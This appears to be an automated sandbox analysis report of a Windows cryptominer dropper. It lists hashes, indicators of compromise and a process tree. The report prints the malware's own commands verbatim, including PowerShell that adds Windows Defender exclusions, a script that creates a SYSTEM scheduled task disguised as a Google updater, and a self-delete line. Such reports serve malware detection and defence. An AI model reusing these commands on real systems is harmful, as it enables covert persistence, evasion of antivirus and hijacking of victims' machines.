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Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
1800s -
max time network
1804s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
27/01/2024, 11:19
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20231129-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20231215-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
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Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2264 created 1204 2264 qM5GMXBk6hJE6Y5e (25).exe 11 PID 2264 created 1204 2264 qM5GMXBk6hJE6Y5e (25).exe 11 PID 2264 created 1204 2264 qM5GMXBk6hJE6Y5e (25).exe 11 PID 2264 created 1204 2264 qM5GMXBk6hJE6Y5e (25).exe 11 PID 2964 created 1204 2964 updater.exe 11 PID 2964 created 1204 2964 updater.exe 11 PID 2964 created 1204 2964 updater.exe 11 PID 2964 created 1204 2964 updater.exe 11 PID 772 created 1204 772 conhost.exe 11 PID 2964 created 1204 2964 updater.exe 11 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral21/memory/1028-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1028-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2576 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 2964 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 1740 taskeng.exe -
resource yara_rule behavioral21/memory/1028-66-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1028-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2964 set thread context of 772 2964 updater.exe 52 PID 2964 set thread context of 1028 2964 updater.exe 53 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (25).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2748 schtasks.exe 2804 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1324 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6002b2821851da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2264 qM5GMXBk6hJE6Y5e (25).exe 2264 qM5GMXBk6hJE6Y5e (25).exe 2492 powershell.exe 2264 qM5GMXBk6hJE6Y5e (25).exe 2264 qM5GMXBk6hJE6Y5e (25).exe 1420 powershell.exe 2264 qM5GMXBk6hJE6Y5e (25).exe 2264 qM5GMXBk6hJE6Y5e (25).exe 2264 qM5GMXBk6hJE6Y5e (25).exe 2264 qM5GMXBk6hJE6Y5e (25).exe 2580 powershell.exe 2964 updater.exe 2964 updater.exe 1980 powershell.exe 2964 updater.exe 2964 updater.exe 1752 powershell.exe 2964 updater.exe 2964 updater.exe 2964 updater.exe 2964 updater.exe 772 conhost.exe 772 conhost.exe 2964 updater.exe 2964 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 464 Process not Found -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2492 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeDebugPrivilege 2580 powershell.exe Token: SeDebugPrivilege 1980 powershell.exe Token: SeDebugPrivilege 1752 powershell.exe Token: SeDebugPrivilege 2964 updater.exe Token: SeAssignPrimaryTokenPrivilege 1324 WMIC.exe Token: SeIncreaseQuotaPrivilege 1324 WMIC.exe Token: SeSecurityPrivilege 1324 WMIC.exe Token: SeTakeOwnershipPrivilege 1324 WMIC.exe Token: SeLoadDriverPrivilege 1324 WMIC.exe Token: SeSystemtimePrivilege 1324 WMIC.exe Token: SeBackupPrivilege 1324 WMIC.exe Token: SeRestorePrivilege 1324 WMIC.exe Token: SeShutdownPrivilege 1324 WMIC.exe Token: SeSystemEnvironmentPrivilege 1324 WMIC.exe Token: SeUndockPrivilege 1324 WMIC.exe Token: SeManageVolumePrivilege 1324 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1324 WMIC.exe Token: SeIncreaseQuotaPrivilege 1324 WMIC.exe Token: SeSecurityPrivilege 1324 WMIC.exe Token: SeTakeOwnershipPrivilege 1324 WMIC.exe Token: SeLoadDriverPrivilege 1324 WMIC.exe Token: SeSystemtimePrivilege 1324 WMIC.exe Token: SeBackupPrivilege 1324 WMIC.exe Token: SeRestorePrivilege 1324 WMIC.exe Token: SeShutdownPrivilege 1324 WMIC.exe Token: SeSystemEnvironmentPrivilege 1324 WMIC.exe Token: SeUndockPrivilege 1324 WMIC.exe Token: SeManageVolumePrivilege 1324 WMIC.exe Token: SeLockMemoryPrivilege 1028 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1420 wrote to memory of 2748 1420 powershell.exe 32 PID 1420 wrote to memory of 2748 1420 powershell.exe 32 PID 1420 wrote to memory of 2748 1420 powershell.exe 32 PID 2576 wrote to memory of 320 2576 cmd.exe 34 PID 2576 wrote to memory of 320 2576 cmd.exe 34 PID 2576 wrote to memory of 320 2576 cmd.exe 34 PID 2580 wrote to memory of 1304 2580 powershell.exe 38 PID 2580 wrote to memory of 1304 2580 powershell.exe 38 PID 2580 wrote to memory of 1304 2580 powershell.exe 38 PID 1740 wrote to memory of 2964 1740 taskeng.exe 40 PID 1740 wrote to memory of 2964 1740 taskeng.exe 40 PID 1740 wrote to memory of 2964 1740 taskeng.exe 40 PID 1752 wrote to memory of 2804 1752 powershell.exe 45 PID 1752 wrote to memory of 2804 1752 powershell.exe 45 PID 1752 wrote to memory of 2804 1752 powershell.exe 45 PID 2964 wrote to memory of 772 2964 updater.exe 52 PID 1500 wrote to memory of 1324 1500 cmd.exe 46 PID 1500 wrote to memory of 1324 1500 cmd.exe 46 PID 1500 wrote to memory of 1324 1500 cmd.exe 46 PID 2964 wrote to memory of 1028 2964 updater.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1204
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2264
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2492
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2748
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2576
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2580 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1304
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1980
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2804
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:572
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1500
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:772
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1028
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:320
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C:\Windows\system32\taskeng.exetaskeng.exe {5F25D338-03C5-41CE-8077-2E14086D39C8} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1740 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2964
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1324
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1022KB
MD573ec3f4f4b3ba52dc935af03bdb652a3
SHA16fa25c102bc04ef186c57adc4068d08ea90073ff
SHA256c4bf07dade1453394a74df3c966f0cbb8e93775ff35e820aeeae1e8f58c5c1c9
SHA512cfe31b51052833a8d127a20c87c9908d09aaf7620c8394c69eac3d6066861b3b8a7640a1e00f8394998be9302e62cdf2f2642434d1ed62cb71bd1acd63828a92
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Filesize
1.0MB
MD5caaebf542167179eaa160126d27ca590
SHA121d0e77d9074d04cea6574029050ba3a69d9e140
SHA256eebc0413cafc7eac85b60bd87b29a3f7406dd95902a8bc7b09b878ee69c708c0
SHA512515c0c029f2321772f07b8f473aefe57e91094ecccabfb5805fc7aa13278ed9495500947e908a98b17a0c86ef68637c52b8f80b5a9243b8ec186a15188286219
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD59428be9bcd0a8072b67b79188470cd0d
SHA181e3d1e15bd6e057a08547483bdb59d068419d0f
SHA256d5a8d3efbf90e84d80a25c2a3d001db6d544dbee52ed0981d32ef8457180c0ea
SHA5122c063bcaf6fa34ecf6eafdcce1b4c45f697bfc86801ccff876c55be1853d709e78d175f43a39bf1092dd4f6fd536db5840d1747c06f4c347f2c8d83efe189458
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Filesize
913KB
MD5a86a70e593ff7be034db3f90854e128a
SHA1a438251bd67b1b13c9625a004125e5d3237dadff
SHA25642b4a8a06ba9341511113dd6542dc0b42dc0819fd394cab7c42a404c7724721c
SHA5123cb1495908d44324cb0ae47416a80fe59baf1ab46574f96abdeb7a8e5934b073fbc94b3c07102901d6239fab157b3f3fc5e966ff49898129a0726937d2547ceb